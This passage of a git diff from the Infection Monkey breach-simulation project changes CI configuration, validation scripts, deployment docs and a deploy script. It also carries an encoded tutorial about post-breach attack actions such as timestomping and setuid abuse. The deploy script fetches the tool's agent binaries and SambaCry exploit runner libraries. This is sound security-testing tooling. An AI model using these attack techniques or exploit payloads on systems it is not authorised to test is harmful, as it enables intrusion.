leSUwQS0lMjBDaGVjayUyMHRoZSUyMFBCQSUyMHNlY3Rpb24lMjBpbiUyMHRoZSUyMFNlY3VyaXR5JTIwcmVwb3J0JTIwZm9yJTIwdGhlJTIwbmFtZSUyMHlvdSUyMGdhdmUlMjB0byUyMHRoZSUyMG5ldyUyMFBCQSUyMCUyMCUwQSUwQSUzQ2ltZyUyMHNyYyUzRCUyMmh0dHBzJTNBJTJGJTJGZmlyZWJhc2VzdG9yYWdlLmdvb2dsZWFwaXMuY29tJTJGdjAlMkZiJTJGc3dpbW1pby1jb250ZW50JTJGbyUyRnJlcG9zaXRvcmllcyUyNTJGNk5sYjk5TnRZNUZjM2JTZDhzdUglMjUyRmltZyUyNTJGZjBlNTNlNmMtOWRiZS00MWQ4LTk0NTQtMmI1NzYxYzNmNTNhLnBuZyUzRmFsdCUzRG1lZGlhJTI2dG9rZW4lM0QyMWFhNGJiOC03ZWJlLTRkYWItYTczOS1jNzdlMDU5MTQ0ZGQlMjIlMjBoZWlnaHQlM0Q0MDAlM0U=",
|
||||
"summary": "LSUyMFRoZSUyMG5hbWUlMjBkZWZpbmVkJTIwaGVyZSUyMGZvciUyMHlvdXIlMjBQQkElMjBjYW4lMjBiZSUyMHNlZW4lMjBvbiUyMHRoZSUyME1vbmtleSUyMElzbGFuZCUyMGluJTIwdGhlJTIwUEJBJTIwc2VjdGlvbiUyMGluJTIwdGhlJTIwU2VjdXJpdHklMjByZXBvcnQuJTBBLSUyMFRoZSUyMHJlc3VsdHMlMjBvZiUyMGVhY2glMjBQQkElMjBzdG9yZWQlMjBpbiUyMHRoZSUyMHRlbGVtZXRyeSUyMGFyZSUyMGFsc28lMjBpZGVudGlmaWVkJTIwYnklMjB0aGUlMjBzdHJpbmclMjBkZWZpbmVkJTIwaGVyZSUyMGZvciUyMHRoYXQlMjBQQkEu",
|
||||
"diff": "ZGlmZiUyMC0tZ2l0JTIwYSUyRm1vbmtleSUyRmNvbW1vbiUyRmRhdGElMkZwb3N0X2JyZWFjaF9jb25zdHMucHklMjBiJTJGbW9ua2V5JTJGY29tbW9uJTJGZGF0YSUyRnBvc3RfYnJlYWNoX2NvbnN0cy5weSUwQWluZGV4JTIwMjVlNjY3OWMuLjQ2ZDgwMmRlJTIwMTAwNjQ0JTBBLS0tJTIwYSUyRm1vbmtleSUyRmNvbW1vbiUyRmRhdGElMkZwb3N0X2JyZWFjaF9jb25zdHMucHklMEElMkIlMkIlMkIlMjBiJTJGbW9ua2V5JTJGY29tbW9uJTJGZGF0YSUyRnBvc3RfYnJlYWNoX2NvbnN0cy5weSUwQSU0MCU0MCUyMC01JTJDNyUyMCUyQjUlMkM3JTIwJTQwJTQwJTIwUE9TVF9CUkVBQ0hfU0hFTExfU1RBUlRVUF9GSUxFX01PRElGSUNBVElPTiUyMCUzRCUyMCUyMk1vZGlmeSUyMHNoZWxsJTIwc3RhcnR1cCUyMGZpbGUlMjIlMEElMjBQT1NUX0JSRUFDSF9ISURERU5fRklMRVMlMjAlM0QlMjAlMjJIaWRlJTIwZmlsZXMlMjBhbmQlMjBkaXJlY3RvcmllcyUyMiUwQSUyMFBPU1RfQlJFQUNIX1RSQVBfQ09NTUFORCUyMCUzRCUyMCUyMkV4ZWN1dGUlMjBjb21tYW5kJTIwd2hlbiUyMGElMjBwYXJ0aWN1bGFyJTIwc2lnbmFsJTIwaXMlMjByZWNlaXZlZCUyMiUwQSUyMFBPU1RfQlJFQUNIX1NFVFVJRF9TRVRHSUQlMjAlM0QlMjAlMjJTZXR1aWQlMjBhbmQlMjBTZXRnaWQlMjIlMEEtUE9TVF9CUkVBQ0hfSk9CX1NDSEVEVUxJTkclMjAlM0QlMjAlMjJTY2hlZHVsZSUyMGpvYnMlMjIlMEElMkIlMjMlMjBTd2ltbWVyJTNBJTIwUFVUJTIwVEhFJTIwTkVXJTIwQ09OU1QlMjBIRVJFISUwQSUyMFBPU1RfQlJFQUNIX1RJTUVTVE9NUElORyUyMCUzRCUyMCUyMk1vZGlmeSUyMGZpbGVzJyUyMHRpbWVzdGFtcHMlMjIlMEElMjBQT1NUX0JSRUFDSF9TSUdORURfU0NSSVBUX1BST1hZX0VYRUMlMjAlM0QlMjAlMjJTaWduZWQlMjBzY3JpcHQlMjBwcm94eSUyMGV4ZWN1dGlvbiUyMiUwQSUyMFBPU1RfQlJFQUNIX0FDQ09VTlRfRElTQ09WRVJZJTIwJTNEJTIwJTIyQWNjb3VudCUyMGRpc2NvdmVyeSUyMiUwQQ==",
|
||||
"tests": [],
|
||||
"hints": [
|
||||
"See the `Timestomping` PBA. How is the name of the PBA set?"
|
||||
],
|
||||
"files": {
|
||||
"monkey/common/data/post_breach_consts.py": {
|
||||
"index": [
|
||||
"25e6679c..46d802de",
|
||||
"100644"
|
||||
],
|
||||
"fileA": "monkey/common/data/post_breach_consts.py",
|
||||
"fileB": "monkey/common/data/post_breach_consts.py",
|
||||
"status": "MODIFIED",
|
||||
"numLineDeletions": 1,
|
||||
"numLineAdditions": 1,
|
||||
"hunkContainers": [
|
||||
"JTdCJTIyaHVuayUyMiUzQSU3QiUyMmhlYWRlciUyMiUzQSUyMiU0MCU0MCUyMC01JTJDNyUyMCUyQjUlMkM3JTIwJTQwJTQwJTIwUE9TVF9CUkVBQ0hfU0hFTExfU1RBUlRVUF9GSUxFX01PRElGSUNBVElPTiUyMCUzRCUyMCU1QyUyMk1vZGlmeSUyMHNoZWxsJTIwc3RhcnR1cCUyMGZpbGUlNUMlMjIlMjIlMkMlMjJjaGFuZ2VzJTIyJTNBJTVCJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwUE9TVF9CUkVBQ0hfSElEREVOX0ZJTEVTJTIwJTNEJTIwJTVDJTIySGlkZSUyMGZpbGVzJTIwYW5kJTIwZGlyZWN0b3JpZXMlNUMlMjIlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E1JTJDJTIyYiUyMiUzQTUlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjBQT1NUX0JSRUFDSF9UUkFQX0NPTU1BTkQlMjAlM0QlMjAlNUMlMjJFeGVjdXRlJTIwY29tbWFuZCUyMHdoZW4lMjBhJTIwcGFydGljdWxhciUyMHNpZ25hbCUyMGlzJTIwcmVjZWl2ZWQlNUMlMjIlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E2JTJDJTIyYiUyMiUzQTYlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjBQT1NUX0JSRUFDSF9TRVRVSURfU0VUR0lEJTIwJTNEJTIwJTVDJTIyU2V0dWlkJTIwYW5kJTIwU2V0Z2lkJTVDJTIyJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBNyUyQyUyMmIlMjIlM0E3JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMlBPU1RfQlJFQUNIX0pPQl9TQ0hFRFVMSU5HJTIwJTNEJTIwJTVDJTIyU2NoZWR1bGUlMjBqb2JzJTVDJTIyJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBOCU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJhZGQlMjIlMkMlMjJtYXJrJTIyJTNBJTIyJTJCJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMyUyMFN3aW1tZXIlM0ElMjBQVVQlMjBUSEUlMjBORVclMjBDT05TVCUyMEhFUkUhJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJiJTIyJTNBOCU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMFBPU1RfQlJFQUNIX1RJTUVTVE9NUElORyUyMCUzRCUyMCU1QyUyMk1vZGlmeSUyMGZpbGVzJyUyMHRpbWVzdGFtcHMlNUMlMjIlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E5JTJDJTIyYiUyMiUzQTklN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjBQT1NUX0JSRUFDSF9TSUdORURfU0NSSVBUX1BST1hZX0VYRUMlMjAlM0QlMjAlNUMlMjJTaWduZWQlMjBzY3JpcHQlMjBwcm94eSUyMGV4ZWN1dGlvbiU1QyUyMiUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTEwJTJDJTIyYiUyMiUzQTEwJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwUE9TVF9CUkVBQ0hfQUNDT1VOVF9ESVNDT1ZFUlklMjAlM0QlMjAlNUMlMjJBY2NvdW50JTIwZGlzY292ZXJ5JTVDJTIyJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTElMkMlMjJiJTIyJTNBMTElN0QlN0QlNUQlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ElN0IlMjJzdGFydExpbmUlMjIlM0E1JTJDJTIybGluZXNDb3VudCUyMiUzQTclN0QlMkMlMjJiJTIyJTNBJTdCJTIyc3RhcnRMaW5lJTIyJTNBNSUyQyUyMmxpbmVzQ291bnQlMjIlM0E3JTdEJTdEJTdEJTdE"
|
||||
]
|
||||
}
|
||||
},
|
||||
"app_version": "0.1.90",
|
||||
"file_version": "1.0.2"
|
||||
}
|
30
.travis.yml
|
@ -24,7 +24,7 @@ install:
|
|||
# Python
|
||||
- pip freeze
|
||||
- pip install -r monkey/monkey_island/requirements.txt # for unit tests
|
||||
- pip install flake8 pytest dlint isort # for next stages
|
||||
- pip install flake8 pytest pytest-cov dlint isort # for next stages
|
||||
- pip install coverage # for code coverage
|
||||
- pip install -r monkey/infection_monkey/requirements.txt # for unit tests
|
||||
- pip install -r monkey/common/cloud/scoutsuite/requirements.txt
|
||||
|
@ -56,29 +56,27 @@ install:
|
|||
script:
|
||||
# Check Python code
|
||||
## Check syntax errors and fail the build if any are found.
|
||||
- flake8 . --count --select=E901,E999,F821,F822,F823 --show-source --statistics --exclude=monkey/common/cloud/scoutsuite
|
||||
- flake8 ./monkey --exclude=monkey/common/cloud/scoutsuite --config=./ci_scripts/flake8_syntax_check.ini
|
||||
|
||||
## Warn about linter issues.
|
||||
### --exit-zero forces Flake8 to use the exit status code 0 even if there are errors, which means this will NOT fail the build.
|
||||
### --count will print the total number of errors.
|
||||
### --statistics Count the number of occurrences of each error/warning code and print a report.
|
||||
### The output is redirected to a file.
|
||||
- flake8 . --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics --exclude=monkey/common/cloud/scoutsuite > flake8_warnings.txt
|
||||
# TODO move scoutsuite stuff to config
|
||||
- flake8 ./monkey --exit-zero --exclude=monkey/common/cloud/scoutsuite --config=./ci_scripts/flake8_linter_check.ini > ./ci_scripts/flake8_warnings.txt
|
||||
## Display the linter issues
|
||||
- cat flake8_warnings.txt
|
||||
- cat ./ci_scripts/flake8_warnings.txt
|
||||
## Make sure that we haven't increased the amount of warnings.
|
||||
- PYTHON_WARNINGS_AMOUNT_UPPER_LIMIT=80
|
||||
- if [ $(tail -n 1 flake8_warnings.txt) -gt $PYTHON_WARNINGS_AMOUNT_UPPER_LIMIT ]; then echo "Too many python linter warnings! Failing this build. Lower the amount of linter errors in this and try again. " && exit 1; fi
|
||||
- if [ $(tail -n 1 ./ci_scripts/flake8_warnings.txt) -gt $PYTHON_WARNINGS_AMOUNT_UPPER_LIMIT ]; then echo "Too many python linter warnings! Failing this build. Lower the amount of linter errors in this and try again. " && exit 1; fi
|
||||
|
||||
## Check import order
|
||||
- python -m isort . -c -p common -p infection_monkey -p monkey_island --skip ./monkey/common/cloud/scoutsuite --skip ./monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators_list.py -l 120 --wl 120
|
||||
# TODO move scoutsuite stuff to config
|
||||
- python -m isort ./monkey --settings-file ./ci_scripts/isort.cfg --skip ./monkey/common/cloud/scoutsuite --skip ./monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators_list.py
|
||||
|
||||
## Run unit tests
|
||||
## Run unit tests and generate coverage data
|
||||
- cd monkey # This is our source dir
|
||||
- python -m pytest --ignore=./common/cloud/scoutsuite # Have to use `python -m pytest` instead of `pytest` to add "{$builddir}/monkey/monkey" to sys.path.
|
||||
|
||||
## Calculate Code Coverage
|
||||
- coverage run -m pytest --ignore=./common/cloud/scoutsuite
|
||||
# TODO move scoutsuite stuff to config file
|
||||
- python -m pytest --ignore=./common/cloud/scoutsuite --cov=. # Have to use `python -m pytest` instead of `pytest` to add "{$builddir}/monkey/monkey" to sys.path.
|
||||
|
||||
# Check JS code. The npm install must happen AFTER the flake8 because the node_modules folder will cause a lot of errors.
|
||||
- cd monkey_island/cc/ui
|
||||
|
@ -93,11 +91,9 @@ script:
|
|||
|
||||
# verify swimm
|
||||
- cd $TRAVIS_BUILD_DIR
|
||||
- wget https://firebasestorage.googleapis.com/v0/b/swimmio.appspot.com/o/Release%2Fv021%2FSwimm_0.2.1_amd64.deb\?alt\=media\&token\=cabf1a19-fd2f-43f5-becf-22c3ace55a57 -O swimm
|
||||
- wget "https://firebasestorage.googleapis.com/v0/b/swimmio.appspot.com/o/Release%2Fv029%2FSwimm_0.2.9_Setup.deb?alt=media&token=774ebd98-cb4e-4615-900c-aada224c1608" -O swimm
|
||||
- sudo dpkg -i swimm || (sudo apt-get update && sudo apt-get -f install)
|
||||
- chmod +x ./swimm
|
||||
- sudo dpkg -i ./swimm
|
||||
- sudo apt-get -f install -y
|
||||
- sudo dpkg -i ./swimm
|
||||
- swimm --version
|
||||
- swimm verify
|
||||
|
||||
|
|
|
@ -8,7 +8,7 @@ Please try to be as specific as you can about your problem; try to include steps
|
|||
to reproduce. While we'll try to help anyway, focusing us will help us help you faster.
|
||||
|
||||
If you want to contribute new code or fix bugs, please read the following sections. You can also contact us (the
|
||||
maintainers of this project) at our [Slack channel](https://join.slack.com/t/infectionmonkey/shared_invite/enQtNDU5MjAxMjg1MjU1LTM2ZTg0ZDlmNWNlZjQ5NDI5NTM1NWJlYTRlMGIwY2VmZGMxZDlhMTE2OTYwYmZhZjM1MGZhZjA2ZjI4MzA1NDk).
|
||||
maintainers of this project) at our [Slack channel](https://infectionmonkey.slack.com/join/shared_invite/enQtNDU5MjAxMjg1MjU1LWM0NjVmNWE2ZTMzYzAxOWJiYmMxMzU0NWU3NmUxYjcyNjk0YWY2MDkwODk4NGMyNDU4NzA4MDljOWNmZWViNDU).
|
||||
|
||||
## Submitting Issues
|
||||
* **Do** write a detailed description of your bug and use a descriptive title.
|
||||
|
|
|
@ -0,0 +1,2 @@
|
|||
./validation-env
|
||||
./flake8_warnings.txt
|
|
@ -0,0 +1,8 @@
|
|||
# About
|
||||
|
||||
Run this script to validate your code locally and auto fix/format the problems before pushing.
|
||||
|
||||
# Usage
|
||||
|
||||
You've got to manually download swimm for swimm validation.
|
||||
run from `infection_monkey` directory: `powershell .\ci_scripts\validate.ps1`
|
|
@ -0,0 +1,15 @@
|
|||
[flake8]
|
||||
## Warn about linter issues.
|
||||
|
||||
exclude = ../monkey/monkey_island/cc/ui,
|
||||
../monkey/common/cloud
|
||||
show-source = True
|
||||
max-complexity = 10
|
||||
max-line-length = 127
|
||||
|
||||
### --statistics Count the number of occurrences of each error/warning code and print a report.
|
||||
statistics = True
|
||||
|
||||
### --count will print the total number of errors.
|
||||
count = True
|
||||
|
|
@ -0,0 +1,15 @@
|
|||
[flake8]
|
||||
|
||||
## Check syntax errors and fail the build if any are found.
|
||||
exclude =
|
||||
../monkey/monkey_island/cc/ui,
|
||||
../monkey/common/cloud
|
||||
select =
|
||||
E901,
|
||||
E999,
|
||||
F821,
|
||||
F822,
|
||||
F823
|
||||
count = True
|
||||
show-source = True
|
||||
statistics = True
|
|
@ -0,0 +1,5 @@
|
|||
python -m venv validation-env
|
||||
.\validation-env\Scripts\activate.ps1
|
||||
python -m pip install -r .\requirements.txt
|
||||
npm i -g eslint
|
||||
deactivate
|
|
@ -0,0 +1,6 @@
|
|||
[isort]
|
||||
|
||||
# Possible options: https://pycqa.github.io/isort/docs/configuration/options/
|
||||
|
||||
known_first_party=common,infection_monkey,monkey_island
|
||||
skip=monkey/common/cloud/scoutsuite,monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators_list.py,monkey/monkey_island/cc/ui,monkey/common/cloud/scoutsuite
|
|
@ -0,0 +1,6 @@
|
|||
flake8
|
||||
pytest
|
||||
dlint
|
||||
isort
|
||||
coverage
|
||||
black
|
|
@ -0,0 +1,39 @@
|
|||
.\ci_scripts\validation-env\Scripts\activate.ps1
|
||||
$ErrorActionPreference = "Stop"
|
||||
python -m pip install -r monkey/monkey_island/requirements.txt
|
||||
python -m pip install -r monkey/infection_monkey/requirements.txt
|
||||
flake8 ./monkey --config ./ci_scripts/flake8_syntax_check.cfg
|
||||
flake8 ./monkey --exit-zero --config ./ci_scripts/flake8_linter_check.cfg | Out-File -FilePath .\ci_scripts\flake8_warnings.txt
|
||||
Get-Content -Path .\ci_scripts\flake8_warnings.txt
|
||||
$PYTHON_WARNINGS_AMOUNT_UPPER_LIMIT = 80
|
||||
if ((Get-Item -Path .\ci_scripts\flake8_warnings.txt | Get-Content -Tail 1) -gt $PYTHON_WARNINGS_AMOUNT_UPPER_LIMIT){
|
||||
"Too many python linter warnings! Failing this build. Lower the amount of linter errors in this and try again. "
|
||||
exit
|
||||
}
|
||||
python -m isort ./monkey -c --settings-file ./ci_scripts/isort.cfg
|
||||
if (!$?) {
|
||||
$confirmation = Read-Host "Isort found errors. Do you want to attmpt to fix them automatically? (y/n)"
|
||||
if ($confirmation -eq 'y') {
|
||||
python -m isort ./monkey --settings-file ./ci_scripts/isort.cfg
|
||||
}
|
||||
}
|
||||
Push-Location -Path ./monkey
|
||||
python ./monkey_island/cc/environment/set_server_config.py testing
|
||||
python -m pytest
|
||||
$lastCommandSucceeded = $?
|
||||
python ./monkey_island/cc/environment/set_server_config.py restore
|
||||
Pop-Location
|
||||
|
||||
if (!$lastCommandSucceeded) {
|
||||
exit
|
||||
}
|
||||
|
||||
Push-Location -Path .\monkey\monkey_island\cc\ui
|
||||
eslint ./src -c ./.eslintrc
|
||||
Pop-Location
|
||||
|
||||
swimm verify
|
||||
|
||||
Write-Host "Script finished. Press any key to continue"
|
||||
$null = $Host.UI.RawUI.ReadKey('NoEcho,IncludeKeyDown');
|
||||
deactivate
|
|
@ -0,0 +1,2 @@
|
|||
fixes:
|
||||
- "::monkey/"
|
|
@ -39,6 +39,7 @@ Your user must have root permissions; however, don't run the script as root!
|
|||
|
||||
```sh
|
||||
wget https://raw.githubusercontent.com/guardicore/monkey/develop/deployment_scripts/deploy_linux.sh
|
||||
chmod u+x ./deploy_linux.sh
|
||||
```
|
||||
|
||||
This will download our deploy script. It's a good idea to read it quickly before executing it!
|
||||
|
@ -52,4 +53,13 @@ After downloading that script, execute it in a shell. The first argument should
|
|||
- `./deploy_linux.sh "" "master"` (deploys master branch in script directory)
|
||||
- `./deploy_linux.sh "/home/user/new" "master"` (if directory "new" is not found creates it and clones master branch into it)
|
||||
|
||||
You may also pass in an optional third `false` parameter to disable downloading the latest agent binaries.
|
||||
You may also pass in an optional third `false` parameter to disable downloading the latest agent binaries.
|
||||
|
||||
### Run on Linux
|
||||
|
||||
After the `deploy_linux.sh` script completes, you can start the monkey island.
|
||||
|
||||
```sh
|
||||
cd infection_monkey/monkey
|
||||
./monkey_island/linux/run.sh
|
||||
```
|
||||
|
|
|
@ -4,41 +4,42 @@ export MONKEY_FOLDER_NAME="infection_monkey"
|
|||
# Url of public git repository that contains monkey's source code
|
||||
export MONKEY_GIT_URL="https://github.com/guardicore/monkey"
|
||||
|
||||
exists() {
|
||||
command -v "$1" >/dev/null 2>&1
|
||||
}
|
||||
|
||||
get_latest_release() {
|
||||
curl --silent "https://api.github.com/repos/$1/releases/latest" | # Get latest release from GitHub API
|
||||
grep '"tag_name":' | # Get tag line
|
||||
sed -E 's/.*"([^"]+)".*/\1/' # Pluck JSON value
|
||||
RELEASE_URL="https://api.github.com/repos/$1/releases/latest"
|
||||
|
||||
if exists wget; then
|
||||
RELEASE_INFO=$(wget --quiet -O - "$RELEASE_URL") # Get latest release from GitHub API
|
||||
else
|
||||
RELEASE_INFO=$(curl --silent "$RELEASE_URL") # Get latest release from GitHub API
|
||||
fi
|
||||
|
||||
echo "$RELEASE_INFO" |
|
||||
grep '"tag_name":' | # Get tag line
|
||||
sed -E 's/.*"([^"]+)".*/\1/' # Pluck JSON value
|
||||
}
|
||||
|
||||
MONKEY_LATEST_RELEASE=$(get_latest_release "guardicore/monkey")
|
||||
|
||||
# Monkey binaries
|
||||
LINUX_32_BINARY_NAME="monkey-linux-32"
|
||||
LINUX_32_BINARY_URL="https://github.com/guardicore/monkey/releases/download/$MONKEY_LATEST_RELEASE/monkey-linux-32"
|
||||
export LINUX_32_BINARY_URL
|
||||
export LINUX_32_BINARY_NAME
|
||||
export LINUX_32_BINARY_NAME="monkey-linux-32"
|
||||
export LINUX_32_BINARY_URL="https://github.com/guardicore/monkey/releases/download/$MONKEY_LATEST_RELEASE/monkey-linux-32"
|
||||
|
||||
LINUX_64_BINARY_NAME="monkey-linux-64"
|
||||
LINUX_64_BINARY_URL="https://github.com/guardicore/monkey/releases/download/$MONKEY_LATEST_RELEASE/monkey-linux-64"
|
||||
export LINUX_64_BINARY_URL
|
||||
export LINUX_64_BINARY_NAME
|
||||
export LINUX_64_BINARY_NAME="monkey-linux-64"
|
||||
export LINUX_64_BINARY_URL="https://github.com/guardicore/monkey/releases/download/$MONKEY_LATEST_RELEASE/monkey-linux-64"
|
||||
|
||||
WINDOWS_32_BINARY_NAME="monkey-windows-32.exe"
|
||||
WINDOWS_32_BINARY_URL="https://github.com/guardicore/monkey/releases/download/$MONKEY_LATEST_RELEASE/monkey-windows-32.exe"
|
||||
export WINDOWS_32_BINARY_URL
|
||||
export WINDOWS_32_BINARY_NAME
|
||||
export WINDOWS_32_BINARY_NAME="monkey-windows-32.exe"
|
||||
export WINDOWS_32_BINARY_URL="https://github.com/guardicore/monkey/releases/download/$MONKEY_LATEST_RELEASE/monkey-windows-32.exe"
|
||||
|
||||
WINDOWS_64_BINARY_NAME="monkey-windows-64.exe"
|
||||
WINDOWS_64_BINARY_URL="https://github.com/guardicore/monkey/releases/download/$MONKEY_LATEST_RELEASE/monkey-windows-64.exe"
|
||||
export WINDOWS_64_BINARY_URL
|
||||
export WINDOWS_64_BINARY_NAME
|
||||
export WINDOWS_64_BINARY_NAME="monkey-windows-64.exe"
|
||||
export WINDOWS_64_BINARY_URL="https://github.com/guardicore/monkey/releases/download/$MONKEY_LATEST_RELEASE/monkey-windows-64.exe"
|
||||
|
||||
# Other binaries for monkey
|
||||
TRACEROUTE_64_BINARY_URL="https://github.com/guardicore/monkey/releases/download/v1.8.0/traceroute64"
|
||||
export TRACEROUTE_64_BINARY_URL
|
||||
TRACEROUTE_32_BINARY_URL="https://github.com/guardicore/monkey/releases/download/v1.8.0/traceroute32"
|
||||
export TRACEROUTE_32_BINARY_URL
|
||||
SAMBACRY_64_BINARY_URL="https://github.com/guardicore/monkey/releases/download/v1.8.0/sc_monkey_runner64.so"
|
||||
export SAMBACRY_64_BINARY_URL
|
||||
SAMBACRY_32_BINARY_URL="https://github.com/guardicore/monkey/releases/download/v1.8.0/sc_monkey_runner32.so"
|
||||
export SAMBACRY_32_BINARY_URL
|
||||
export TRACEROUTE_64_BINARY_URL="https://github.com/guardicore/monkey/releases/download/$MONKEY_LATEST_RELEASE/traceroute64"
|
||||
export TRACEROUTE_32_BINARY_URL="https://github.com/guardicore/monkey/releases/download/$MONKEY_LATEST_RELEASE/traceroute32"
|
||||
|
||||
export SAMBACRY_64_BINARY_URL="https://github.com/guardicore/monkey/releases/download/$MONKEY_LATEST_RELEASE/sc_monkey_runner64.so"
|
||||
export SAMBACRY_32_BINARY_URL="https://github.com/guardicore/monkey/releases/download/$MONKEY_LATEST_RELEASE/sc_monkey_runner32.so"
|
||||
|
|
|
@ -10,7 +10,7 @@ is_root() {
|
|||
|
||||
has_sudo() {
|
||||
# 0 true, 1 false
|
||||
timeout 1 sudo id && return 0 || return 1
|
||||
return $(sudo -nv > /dev/null 2>&1)
|
||||
}
|
||||
|
||||
handle_error() {
|
||||
|
@ -23,6 +23,11 @@ log_message() {
|
|||
echo -e "DEPLOYMENT SCRIPT: $1"
|
||||
}
|
||||
|
||||
if is_root; then
|
||||
log_message "Please don't run this script as root"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
config_branch=${2:-"develop"}
|
||||
config_url="https://raw.githubusercontent.com/guardicore/monkey/${config_branch}/deployment_scripts/config"
|
||||
|
||||
|
@ -63,14 +68,9 @@ INFECTION_MONKEY_DIR="$monkey_home/monkey/infection_monkey"
|
|||
MONKEY_BIN_DIR="$INFECTION_MONKEY_DIR/bin"
|
||||
SCOUTSUITE_DIR="$monkey_home/monkey/common/cloud/scoutsuite"
|
||||
|
||||
if is_root; then
|
||||
log_message "Please don't run this script as root"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
HAS_SUDO=$(has_sudo)
|
||||
if [[ ! $HAS_SUDO ]]; then
|
||||
log_message "You need root permissions for some of this script operations. Quiting."
|
||||
if ! has_sudo; then
|
||||
log_message "You need root permissions for some of this script operations. \
|
||||
Run \`sudo -v\`, enter your password, and then re-run this script."
|
||||
exit 1
|
||||
fi
|
||||
|
||||
|
@ -111,13 +111,16 @@ if [[ ${python_cmd} == "" ]]; then
|
|||
log_message "Python 3.7 command not found. Installing python 3.7."
|
||||
sudo add-apt-repository ppa:deadsnakes/ppa
|
||||
sudo apt-get update
|
||||
sudo apt install python3.7 python3.7-dev
|
||||
sudo apt-get install -y python3.7 python3.7-dev
|
||||
log_message "Python 3.7 is now available with command 'python3.7'."
|
||||
python_cmd="python3.7"
|
||||
fi
|
||||
|
||||
log_message "Installing build-essential"
|
||||
sudo apt install build-essential
|
||||
sudo apt-get install -y build-essential
|
||||
|
||||
log_message "Installing python3-distutils"
|
||||
sudo apt-get install -y python3-distutils
|
||||
|
||||
log_message "Installing or updating pip"
|
||||
# shellcheck disable=SC2086
|
||||
|
@ -135,7 +138,7 @@ requirements_island="$ISLAND_PATH/requirements.txt"
|
|||
${python_cmd} -m pip install -r "${requirements_island}" --user --upgrade || handle_error
|
||||
|
||||
log_message "Installing monkey requirements"
|
||||
sudo apt-get install libffi-dev upx libssl-dev libc++1
|
||||
sudo apt-get install -y libffi-dev upx libssl-dev libc++1
|
||||
requirements_monkey="$INFECTION_MONKEY_DIR/requirements.txt"
|
||||
${python_cmd} -m pip install -r "${requirements_monkey}" --user --upgrade || handle_error
|
||||
|
||||
|
@ -166,15 +169,19 @@ chmod a+x "$ISLAND_BINARIES_PATH/$LINUX_64_BINARY_NAME"
|
|||
|
||||
# If a user haven't installed mongo manually check if we can install it with our script
|
||||
if ! exists mongod; then
|
||||
log_message "Installing libcurl4"
|
||||
sudo apt-get install -y libcurl4
|
||||
|
||||
log_message "Installing MongoDB"
|
||||
"${ISLAND_PATH}"/linux/install_mongo.sh ${MONGO_PATH} || handle_error
|
||||
fi
|
||||
log_message "Installing openssl"
|
||||
sudo apt-get install openssl
|
||||
sudo apt-get install -y openssl
|
||||
|
||||
# Generate SSL certificate
|
||||
log_message "Generating certificate"
|
||||
|
||||
chmod u+x "${ISLAND_PATH}"/linux/create_certificate.sh
|
||||
"${ISLAND_PATH}"/linux/create_certificate.sh ${ISLAND_PATH}/cc
|
||||
|
||||
# Update node
|
||||
|
|
|
@ -5,10 +5,11 @@ draft: false
|
|||
pre: "<i class='fas fa-question'></i> "
|
||||
---
|
||||
|
||||
Here are some of the most common questions we receive about the Infection Monkey. If the answer you’re looking for isn’t here, talk with us [on our Slack channel](https://infectionmonkey.slack.com/), email us at [support@infectionmonkey.com](mailto:support@infectionmonkey.com) or [open an issue on GitHub](https://github.com/guardicore/monkey).
|
||||
Here are some of the most common questions we receive about the Infection Monkey. If the answer you're looking for isn't here, talk with us [on our Slack channel](https://infectionmonkey.slack.com/join/shared_invite/enQtNDU5MjAxMjg1MjU1LWM0NjVmNWE2ZTMzYzAxOWJiYmMxMzU0NWU3NmUxYjcyNjk0YWY2MDkwODk4NGMyNDU4NzA4MDljOWNmZWViNDU), email us at [support@infectionmonkey.com](mailto:support@infectionmonkey.com) or [open an issue on GitHub](https://github.com/guardicore/monkey).
|
||||
|
||||
- [Where can I get the latest Monkey version? 📰](#where-can-i-get-the-latest-monkey-version)
|
||||
- [How long does a single Monkey run for? Is there a time limit?](#how-long-does-a-single-monkey-run-for-is-there-a-time-limit)
|
||||
- [How to reset the password?](#how-to-reset-the-password)
|
||||
- [Should I run the Monkey continuously?](#should-i-run-the-monkey-continuously)
|
||||
- [Which queries does Monkey perform to the Internet exactly?](#which-queries-does-monkey-perform-to-the-internet-exactly)
|
||||
